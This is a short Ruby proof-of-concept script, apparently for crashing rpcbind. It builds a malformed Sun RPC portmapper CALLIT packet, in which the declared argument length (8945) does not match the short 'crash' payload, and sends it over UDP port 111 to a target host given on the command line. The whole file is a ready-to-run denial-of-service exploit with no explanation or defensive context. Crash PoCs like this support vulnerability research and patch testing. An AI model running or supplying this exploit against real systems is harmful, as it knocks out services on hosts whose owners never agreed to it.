require 'socket'
def usage
abort "\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n"
end
if ARGV.length == 1
pkt = [rand(2**32)].pack('N')
pkt << [0].pack('N')
pkt << [2].pack('N')
pkt << [100000].pack('N')
pkt << [2].pack('N')
pkt << [5].pack('N')
pkt << [0].pack('N')
pkt << [0].pack('N')
pkt << [0].pack('N')
pkt << [0].pack('N')
pkt << [0].pack('N')
pkt << [1].pack('N')
pkt << [1].pack('N')
pkt << [8945].pack('N')
pkt << "crash"
s = UDPSocket.new
s.send(pkt, 0, ARGV[0], 111)
else
usage
end